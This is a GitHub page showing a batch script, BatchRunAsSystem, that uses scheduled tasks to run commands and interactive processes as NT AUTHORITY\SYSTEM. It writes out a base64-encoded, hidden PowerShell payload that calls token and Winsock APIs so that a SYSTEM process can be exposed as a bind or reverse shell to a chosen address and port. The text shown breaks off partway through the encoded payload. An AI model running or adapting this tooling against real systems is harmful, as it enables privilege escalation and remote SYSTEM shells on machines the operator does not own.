Repository navigation
Expand file tree
/
Copy pathBatchRunAsSystem.bat
More file actions
302 lines (287 loc) · 35.8 KB
/
Copy pathBatchRunAsSystem.bat
File metadata and controls
302 lines (287 loc) · 35.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
@echo off
rem ---------------------------------------------------------------------------
rem BatchRunAsSystem v1.0
rem
rem 1:1 batch port of PowerRunAsSystem
rem Original author: Jean-Pierre LESUEUR (@DarkCoderSc)
rem https://github.com/PhrozenIO/PowerRunAsSystem
rem License: Apache License 2.0 (see LICENSE file)
rem
rem Impersonate the NT AUTHORITY/SYSTEM user and execute commands or launch
rem interactive processes using only native Windows features (Task Scheduler,
rem certutil, PowerShell). No third-party tools required.
rem
rem Actions:
rem command Run a non-interactive command as SYSTEM (Task Scheduler)
rem process Launch an interactive SYSTEM process on the active desktop
rem shell Shortcut: interactive SYSTEM console (cmd.exe by default)
rem impersonate Launch an interactive SYSTEM console (see note below)
rem status Show current user and elevation state
rem
rem Usage:
rem BatchRunAsSystem.bat command [-Application app] [-Argument args]
rem BatchRunAsSystem.bat process [-CommandLine cmd] [-Hide] [-RedirectKind None/Bind/Reverse] [-Address ip] [-Port port]
rem BatchRunAsSystem.bat shell [commandline]
rem BatchRunAsSystem.bat impersonate
rem BatchRunAsSystem.bat status
rem
rem Notes:
rem - An elevated terminal is required.
rem - "command" default writes whoami output to C:\result.txt
rem - RedirectKind Bind/Reverse redirect stdin/stdout/stderr of the SYSTEM
rem process to a socket (useful for SSH/WinRM sessions without desktop).
rem Reverse: start a listener first. Bind: script waits for one connection.
rem - "impersonate": token impersonation (PowerShell module feature) cannot
rem work from a batch context, so an interactive SYSTEM console is opened
rem instead; exit it to "revert".
rem - cmd.exe quoting has limits: argument values containing both
rem double-quotes and an ampersand may need manual adjustments.
rem ---------------------------------------------------------------------------
setlocal EnableExtensions EnableDelayedExpansion
set "PAYLOAD=%SystemRoot%\Temp\BatchRunAsSystem_payload.ps1"
set "CFG=%SystemRoot%\Temp\BatchRunAsSystem.cfg"
set "B64=%SystemRoot%\Temp\BatchRunAsSystem_payload.b64"
set "ERRLOG=%SystemRoot%\Temp\BatchRunAsSystem.err"
set "ACTION=%~1"
if "%ACTION%"=="" goto :usage
if /i "%ACTION%"=="command" goto :do_command
if /i "%ACTION%"=="process" goto :do_process
if /i "%ACTION%"=="shell" goto :do_shell
if /i "%ACTION%"=="impersonate" goto :do_impersonate
if /i "%ACTION%"=="status" goto :do_status
if /i "%ACTION%"=="help" goto :usage
if /i "%ACTION%"=="/h" goto :usage
if /i "%ACTION%"=="-h" goto :usage
goto :usage
:usage
echo BatchRunAsSystem - run commands or processes as NT AUTHORITY SYSTEM.
echo.
echo BatchRunAsSystem.bat command [-Application app] [-Argument args]
echo BatchRunAsSystem.bat process [-CommandLine cmd] [-Hide] [-RedirectKind None/Bind/Reverse] [-Address ip] [-Port port]
echo BatchRunAsSystem.bat shell [commandline]
echo BatchRunAsSystem.bat impersonate
echo BatchRunAsSystem.bat status
echo.
echo Examples:
echo BatchRunAsSystem.bat command -Application cmd.exe -Argument "/c whoami > C:\result.txt"
echo BatchRunAsSystem.bat process -CommandLine cmd.exe
echo BatchRunAsSystem.bat shell
exit /b 0
:do_command
shift
set "APP=powershell.exe"
set "ARGS="
:parse_command
if "%~1"=="" goto :run_command
if /i "%~1"=="-Application" (
set "APP=%~2"
shift
shift
goto :parse_command
)
if /i "%~1"=="-Argument" (
set "ARGS=%~2"
shift
shift
goto :parse_command
)
echo [ERROR] Unknown parameter: "%~1"
goto :fail
:run_command
call :RequireAdmin || goto :fail
if not defined ARGS set "ARGS=-Command "whoami ^| Out-File C:\result.txt""
set "TR=!APP!"
if not "!ARGS!"=="" set "TR=!TR! !ARGS!"
call :GenRandomString TASKNAME
schtasks /Create /F /TN "!TASKNAME!" /TR "!TR!" /SC ONCE /ST 23:59 /RU SYSTEM >nul 2>&1
if errorlevel 1 (
echo [ERROR] Failed to register scheduled task.
goto :fail
)
schtasks /Run /TN "!TASKNAME!" >nul 2>&1
if errorlevel 1 (
echo [ERROR] Failed to start scheduled task.
schtasks /Delete /TN "!TASKNAME!" /F >nul 2>&1
goto :fail
)
schtasks /Delete /TN "!TASKNAME!" /F >nul 2>&1
echo [+] System command dispatched as SYSTEM:
echo !TR!
goto :done
:do_process
shift
set "P_CMDLINE=powershell.exe"
set "P_HIDE=0"
set "P_REDIRECT=None"
set "P_ADDRESS="
set "P_PORT="
:parse_process
if "%~1"=="" goto :check_process
if /i "%~1"=="-CommandLine" (
set "P_CMDLINE=%~2"
shift
shift
goto :parse_process
)
if /i "%~1"=="-Hide" (
set "P_HIDE=1"
shift
goto :parse_process
)
if /i "%~1"=="-RedirectKind" (
set "P_REDIRECT=%~2"
shift
shift
goto :parse_process
)
if /i "%~1"=="-Address" (
set "P_ADDRESS=%~2"
shift
shift
goto :parse_process
)
if /i "%~1"=="-Port" (
set "P_PORT=%~2"
shift
shift
goto :parse_process
)
echo [ERROR] Unknown parameter: "%~1"
goto :fail
:check_process
if /i not "%P_REDIRECT%"=="None" if /i not "%P_REDIRECT%"=="Bind" if /i not "%P_REDIRECT%"=="Reverse" (
echo [ERROR] Invalid -RedirectKind value: "%P_REDIRECT%"
goto :fail
)
:run_process
call :RequireAdmin || goto :fail
call :WritePayload || goto :fail
call :WriteConfig || goto :fail
call :GenRandomString TASKNAME
powershell -NoProfile -Command "try { Register-ScheduledTask -Force -TaskName '!TASKNAME!' -User 'NT AUTHORITY\SYSTEM' -Action (New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File !PAYLOAD!') -ErrorAction Stop | Out-Null } catch { exit 1 }" >nul 2>&1
if errorlevel 1 (
echo [ERROR] Failed to register scheduled task.
goto :fail
)
schtasks /Run /TN "!TASKNAME!" >nul 2>&1
if errorlevel 1 (
echo [ERROR] Failed to start scheduled task.
schtasks /Delete /TN "!TASKNAME!" /F >nul 2>&1
goto :fail
)
schtasks /Delete /TN "!TASKNAME!" /F >nul 2>&1
echo [+] Interactive SYSTEM process dispatched:
echo !P_CMDLINE!
goto :done
:do_shell
set "P_CMDLINE=%~2"
set "P_HIDE=0"
set "P_REDIRECT=None"
set "P_ADDRESS="
set "P_PORT="
if "%P_CMDLINE%"=="" set "P_CMDLINE=cmd.exe"
goto :run_process
:do_impersonate
echo [i] Token impersonation is not possible from batch (requires in-process WinAPI calls).
echo [i] Launching an interactive SYSTEM console instead. Type "exit" to close it.
set "P_CMDLINE=cmd.exe"
set "P_HIDE=0"
set "P_REDIRECT=None"
set "P_ADDRESS="
set "P_PORT="
goto :run_process
:do_status
echo Current User:
whoami
net session >nul 2>&1
if errorlevel 1 (
echo Elevated: No
) else (
echo Elevated: Yes
)
exit /b 0
:WritePayload
del /f /q "!PAYLOAD!" >nul 2>&1
del /f /q "!CFG!" >nul 2>&1
del /f /q "!ERRLOG!" >nul 2>&1
> "!B64!" echo 77u/IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAjCiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgIEJhdGNoUnVuQXNTeXN0ZW0gLSBwYXlsb2FkIHNjcmlwdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgICBQb3J0ZWQgZnJvbSBQb3dlclJ1bkFzU3lzdGVtIChKZWFuLVBpZXJyZSBMRVNVRVVSIChARGFya0NvZGVyU2MpKSAgICAgICAgICAgICAgICAjCiMgICAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS9QaHJvemVuSU8vUG93ZXJSdW5Bc1N5c3RlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgIC5MaWNlbnNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
>> "!B64!" echo ICAgICMKIyAgICAgICAgQXBhY2hlIExpY2Vuc2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgICAgICAgIFZlcnNpb24gMi4wLCBKYW51YXJ5IDIwMDQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICBodHRwOi8vd3d3LmFwYWNoZS5vcmcvbGljZW5zZXMvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgICAuRGlzY2xhaW1lciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgICAgICAgIFRoaXMgc2NyaXB0IGlzIHByb3ZpZGVkICJhcyBpcyIsIHdpdGhvdXQgd2FycmFudHkgb2YgYW55IGtpbmQsIGV4cHJlc3Mgb3IgICAgIwojICAgICAgICBpbXBsaWVkLCBpbmNsdWRpbmcgYnV0IG5vdCBsaW1pdGVkIHRvIHRoZSB3YXJyYW50aWVzIG9mIG1lcmNoYW50YWJpbGl0
>> "!B64!" echo eSwgICAgICMKIyAgICAgICAgZml0bmVzcyBmb3IgYSBwYXJ0aWN1bGFyIHB1cnBvc2UgYW5kIG5vbmluZnJpbmdlbWVudC4gSW4gbm8gZXZlbnQgc2hhbGwgdGhlICAjCiMgICAgICAgIGF1dGhvcnMgb3IgY29weXJpZ2h0IGhvbGRlcnMgYmUgbGlhYmxlIGZvciBhbnkgY2xhaW0sIGRhbWFnZXMgb3Igb3RoZXIgICAgICAgIwojICAgICAgICBsaWFiaWxpdHksIHdoZXRoZXIgaW4gYW4gYWN0aW9uIG9mIGNvbnRyYWN0LCB0b3J0IG9yIG90aGVyd2lzZSwgYXJpc2luZyAgICAgICMKIyAgICAgICAgZnJvbSwgb3V0IG9mIG9yIGluIGNvbm5lY3Rpb24gd2l0aCB0aGUgc29mdHdhcmUgb3IgdGhlIHVzZSBvciBvdGhlciBkZWFsaW5ncyAjCiMgICAgICAgIGluIHRoZSBzb2Z0d2FyZS4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
>> "!B64!" echo ICAgICAgICAgICMKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAjCgpjbGFzcyBXaW5BUElFeGNlcHRpb246IFN5c3RlbS5FeGNlcHRpb24KewogICAgV2luQVBJRXhjZXB0aW9uKFtzdHJpbmddICRBcGlOYW1lKSA6IGJhc2UgKAogICAgICAgIFtzdHJpbmddOjpGb3JtYXQoCiAgICAgICAgICAgICJXaW5BcGkgRXhjZXB0aW9uIC0+IHswfSwgTGFzdEVycm9yOiB7MX0iLAogICAgICAgICAgICAkQXBpTmFtZSwKICAgICAgICAgICAgW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0TGFzdFdpbjMyRXJyb3IoKS5Ub1N0cmluZygpCiAgICAgICAgKQogICAgKQogICAge30KfQoKQWRkLVR5cGUgQCIKICAgIHVzaW5nIFN5c3RlbTsKICAgIHVzaW5nIFN5c3RlbS5TZWN1cml0eTsKICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsKCiAgICBwdWJsaWMgc3RhdGljIGNs
>> "!B64!" echo YXNzIEFEVkFQSTMyCiAgICB7CiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzQXNVc2VyKAogICAgICAgICAgICBJbnRQdHIgaFRva2VuLAogICAgICAgICAgICBJbnRQdHIgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgIHN0cmluZyBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgSW50UHRyIGxwQ3VycmVudERpcmVjdG9yeSwK
>> "!B64!" echo ICAgICAgICAgICAgSW50UHRyIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIEludFB0ciBscFByb2Nlc3NJbmZvcm1hdGlvbgogICAgICAgICk7CgogICAgICAgIFtEbGxJbXBvcnQoImFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgRHVwbGljYXRlVG9rZW5FeCgKICAgICAgICAgICAgSW50UHRyIGhFeGlzdGluZ1Rva2VuLAogICAgICAgICAgICB1aW50IGR3RGVzaXJlZEFjY2VzcywKICAgICAgICAgICAgSW50UHRyIGxwVG9rZW5BdHRyaWJ1dGVzLAogICAgICAgICAgICBieXRlIEltcGVyc29uYXRpb25MZXZlbCwKICAgICAgICAgICAgYnl0ZSBUb2tlblR5cGUsCiAgICAgICAgICAgIHJlZiBJbnRQdHIgcGhOZXdUb2tlbgogICAgICAgICk7CgogICAgICAgIFtEbGxJbXBvcnQoImFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAg
>> "!B64!" echo IFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgU2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBieXRlIFRva2VuSW5mb3JtYXRpb25DbGFzcywKICAgICAgICAgICAgcmVmIFVJbnQzMiBUb2tlbkluZm9ybWF0aW9uLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkxlbmd0aAogICAgICAgICk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBjbGFzcyBLZXJuZWwzMgogICAgewogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgQ2xvc2VIYW5kbGUoSW50UHRyIGhhbmRsZSk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBjbGFzcyBXVFNBUEkzMgogICAgewogICAg
>> "!B64!" echo ICAgIFtEbGxJbXBvcnQoInd0c2FwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgV1RTRW51bWVyYXRlU2Vzc2lvbnMoCiAgICAgICAgICAgIEludFB0ciBoU2VydmVyLAogICAgICAgICAgICBVSW50MzIgUmVzZXJ2ZWQsCiAgICAgICAgICAgIFVJbnQzMiBWZXJzaW9uLAogICAgICAgICAgICByZWYgSW50UHRyIHBwU2Vzc2lvbkluZm8sCiAgICAgICAgICAgIHJlZiBVSW50MzIgcENvdW50CiAgICAgICAgKTsKCiAgICAgICAgW0RsbEltcG9ydCgiV3MyXzMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBXU0FTdGFydHVwKHVzaG9ydCB3VmVyc2lvblJlcXVlc3RlZCwgSW50UHRyIGxwV1NBRGF0YSk7CgogICAgICAgIFtEbGxJbXBvcnQoInd0c2FwaTMyLmRsbCIpXQogICAgICAgIHB1YmxpYyBzdGF0aWMg
>> "!B64!" echo ZXh0ZXJuIHZvaWQgV1RTRnJlZU1lbW9yeShJbnRQdHIgcE1lbW9yeSk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBjbGFzcyBXUzIzMgogICAgewogICAgICAgIFtEbGxJbXBvcnQoIldzMl8zMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5JNCldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gaW50IFdTQVN0YXJ0dXAoCiAgICAgICAgICAgIHVzaG9ydCB3VmVyc2lvblJlcXVlc3RlZCwKICAgICAgICAgICAgSW50UHRyIGxwV1NBRGF0YQogICAgICAgICk7CgogICAgICAgIFtEbGxJbXBvcnQoIldzMl8zMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5JNCldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gaW50IFdTQUNsZWFudXAoKTsKCiAgICAgICAgW0RsbEltcG9ydCgid3MyXzMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBD
>> "!B64!" echo aGFyU2V0LlVuaWNvZGUpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBXU0FTb2NrZXQoCiAgICAgICAgICAgIGludCBhZiwKICAgICAgICAgICAgaW50IHR5cGUsCiAgICAgICAgICAgIGludCBwcm90b2NvbCwKICAgICAgICAgICAgSW50UHRyIGxwUHJvdG9jb2xJbmZvLAogICAgICAgICAgICBpbnQgZywKICAgICAgICAgICAgaW50IGR3RmxhZ3MKICAgICAgICApOwoKICAgICAgICBbRGxsSW1wb3J0KCJ3czJfMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuSTQpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBXU0FDb25uZWN0KAogICAgICAgICAgICBJbnRQdHIgcywKICAgICAgICAgICAgSW50UHRyIG5hbWUsCiAgICAgICAgICAgIGludCBuYW1lbGVuLAogICAgICAgICAgICBJbnRQdHIgbHBDYWxsZXJEYXRhLAogICAgICAgICAgICBJbnRQdHIgbHBDYWxsZWVEYXRhLAogICAgICAgICAgICBJbnRQdHIg
>> "!B64!" echo bHBTUU9TLAogICAgICAgICAgICBJbnRQdHIgbHBHUU9TCiAgICAgICAgKTsKCiAgICAgICAgW0RsbEltcG9ydCgid3MyXzMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkk0KV0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgYmluZCgKICAgICAgICAgICAgSW50UHRyIHMsCiAgICAgICAgICAgIEludFB0ciBuYW1lLAogICAgICAgICAgICBpbnQgbmFtZWxlbgogICAgICAgICk7CgogICAgICAgIFtEbGxJbXBvcnQoIndzMl8zMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5JNCldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gaW50IGxpc3RlbigKICAgICAgICAgICAgSW50UHRyIHMsCiAgICAgICAgICAgIGludCBiYWNrbG9nCiAgICAgICAgKTsKCiAgICAgICAgW0RsbEltcG9ydCgid3MyXzMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQog
>> "!B64!" echo ICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBXU0FBY2NlcHQoCiAgICAgICAgICAgIEludFB0ciBzLAogICAgICAgICAgICBJbnRQdHIgYWRkciwKICAgICAgICAgICAgSW50UHRyIGFkZHJsZW4sCiAgICAgICAgICAgIEludFB0ciBscGZuQ29uZGl0aW9uLAogICAgICAgICAgICBJbnRQdHIgZHdDYWxsYmFja0RhdGEKICAgICAgICApOwoKICAgICAgICBbRGxsSW1wb3J0KCJ3czJfMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuSTQpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBjbG9zZXNvY2tldChJbnRQdHIgcyk7CiAgICB9CiJACgpmdW5jdGlvbiBSZWFkLVNldHRpbmdzCnsKICAgICRzZXR0aW5ncyA9IEB7fQoKICAgICRwYXRoID0gSm9pbi1QYXRoICRlbnY6U3lzdGVtUm9vdCAiVGVtcFxCYXRjaFJ1bkFzU3lzdGVtLmNmZyIKICAgIGlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJHBhdGgpKQogICAgewog
>> "!B64!" echo ICAgICAgIHJldHVybiAkc2V0dGluZ3MKICAgIH0KCiAgICBmb3JlYWNoICgkbGluZSBpbiAoR2V0LUNvbnRlbnQgLVBhdGggJHBhdGgpKQogICAgewogICAgICAgICRzZXBhcmF0b3JJbmRleCA9ICRsaW5lLkluZGV4T2YoIj0iKQogICAgICAgIGlmICgkc2VwYXJhdG9ySW5kZXggLWx0IDEpCiAgICAgICAgewogICAgICAgICAgICBjb250aW51ZQogICAgICAgIH0KCiAgICAgICAgJGtleSA9ICRsaW5lLlN1YnN0cmluZygwLCAkc2VwYXJhdG9ySW5kZXgpCiAgICAgICAgJHZhbHVlID0gJGxpbmUuU3Vic3RyaW5nKCRzZXBhcmF0b3JJbmRleCArIDEpCgogICAgICAgICRzZXR0aW5nc1ska2V5XSA9ICR2YWx1ZQogICAgfQoKICAgIHJldHVybiAkc2V0dGluZ3MKfQoKZnVuY3Rpb24gR2V0LUFjdGl2ZURlc2t0b3BTZXNzaW9uSWQKewogICAgJGFjdGl2ZVNlc3Npb25JZCA9IDB4RkZGRkZGRkYKCiAgICAkcFNlc3Npb25BcnJheSA9IFtJbnRQdHJdOjpaZXJvCiAgICAkc2Vzc2lvbkNvdW50ID0gMAoKICAgIGlmICgtbm90IFtX
>> "!B64!" echo VFNBUEkzMl06OldUU0VudW1lcmF0ZVNlc3Npb25zKFtJbnRQdHJdOjpaZXJvLCAwLCAxLCBbcmVmXSRwU2Vzc2lvbkFycmF5LCBbcmVmXSRzZXNzaW9uQ291bnQpKQogICAgewogICAgICAgIHRocm93IFtXaW5BUElFeGNlcHRpb25dOjpOZXcoIldUU0VudW1lcmF0ZVNlc3Npb25zIikKICAgIH0KICAgIHRyeQogICAgewogICAgICAgIGlmIChbRW52aXJvbm1lbnRdOjpJczY0Qml0UHJvY2VzcykKICAgICAgICB7CiAgICAgICAgICAgICRzdHJ1Y3RTaXplID0gMHgxOAogICAgICAgICAgICAkc3RydWN0T2Zmc2V0X1N0YXRlID0gMHgxMAogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICAkc3RydWN0U2l6ZSA9IDB4YwogICAgICAgICAgICAkc3RydWN0T2Zmc2V0X1N0YXRlID0gMHg4CiAgICAgICAgfQoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgLWx0ICRzZXNzaW9uQ291bnQ7ICRpKyspCiAgICAgICAgewogICAgICAgICAgICAkcE9mZnNldCA9IFtJbnRQdHJdKFtJbnQ2NF0kcFNlc3Npb25B
>> "!B64!" echo cnJheSArICgkaSAqICRzdHJ1Y3RTaXplKSkKCiAgICAgICAgICAgICRjdXJTZXNzaW9uSWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpSZWFkSW50MzIoJHBPZmZzZXQsIDB4MCkKICAgICAgICAgICAgJGN1clNlc3Npb25TdGF0ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlJlYWRJbnQzMigkcE9mZnNldCwgJHN0cnVjdE9mZnNldF9TdGF0ZSkKCiAgICAgICAgICAgICRXVFNfQ09OTkVDVFNUQVRFX0NMQVNTX1dUU0FjdGl2ZSA9IDAKICAgICAgICAgICAgaWYgKCRjdXJTZXNzaW9uU3RhdGUgLWVxICRXVFNfQ09OTkVDVFNUQVRFX0NMQVNTX1dUU0FjdGl2ZSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGFjdGl2ZVNlc3Npb25JZCA9ICRjdXJTZXNzaW9uSWQKCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZmluYWxseQogICAgewogICAgICAgIGlmICgkcFNlc3Npb25BcnJheSAtbmUg
>> "!B64!" echo W0ludFB0cl06Olplcm8pCiAgICAgICAgewogICAgICAgICAgICBbV1RTQVBJMzJdOjpXVFNGcmVlTWVtb3J5KCRwU2Vzc2lvbkFycmF5KQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJGFjdGl2ZVNlc3Npb25JZAp9CgpmdW5jdGlvbiBJbml0aWFsaXplLU5hdGl2ZVNvY2tldAp7CiAgICAkV1NBRGF0YSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCg0MDgpCiAgICBpZiAoW1dTMjMyXTo6V1NBU3RhcnR1cCgweDIwMjAsICRXU0FEYXRhKSkKICAgIHsKICAgICAgICB0aHJvdyBbV2luQVBJRXhjZXB0aW9uXTo6TmV3KCJXU0FTdGFydHVwIikKICAgIH0KCiAgICByZXR1cm4gJFdTQURhdGEKfQoKZnVuY3Rpb24gQ2xlYXItTmF0aXZlU29ja2V0CnsKICAgICRudWxsID0gW1dTMjMyXTo6V1NBQ2xlYW51cCgpCn0KCmZ1bmN0aW9uIE5ldy1OYXRpdmVTb2NrZXQKewogICAgJEFGX0lORVQgPSAyCiAgICAkU09DS19TVFJFQU0gPSAxCiAgICAkSVBQUk9UT19UQ1AgPSA2
>> "!B64!" echo CgogICAgJHNvY2tldCA9IFtXUzIzMl06OldTQVNvY2tldCgkQUZfSU5FVCwgJFNPQ0tfU1RSRUFNLCAkSVBQUk9UT19UQ1AsIFtJbnRQdHJdOjpaZXJvLCAwLCAwKQogICAgaWYgKCRzb2NrZXQgLWVxIFtJbnRQdHJdOjpaZXJvKQogICAgewogICAgICAgIHRocm93IFtXaW5BUElFeGNlcHRpb25dOjpOZXcoIldTQVNvY2tldCIpCiAgICB9CgogICAgcmV0dXJuICRzb2NrZXQKfQoKZnVuY3Rpb24gQ2xvc2UtTmF0aXZlU29ja2V0CnsKICAgIHBhcmFtICgKICAgICAgICBbSW50UHRyXSAkU29ja2V0CiAgICApCgogICAgaWYgKFtpbnRdJFNvY2tldCAtbGUgMCkKICAgIHsKICAgICAgICByZXR1cm4KICAgIH0KCiAgICBpZiAoW1dTMjMyXTo6Y2xvc2Vzb2NrZXQoJFNvY2tldCkpCiAgICB7CiAgICAgICAgdGhyb3cgW1dpbkFQSUV4Y2VwdGlvbl06Ok5ldygiY2xvc2Vzb2NrZXQiKQogICAgfQoKfQoKZnVuY3Rpb24gQ29ubmVjdC1OYXRpdmVTb2NrZXQKewogICAgcGFyYW0gKAogICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5
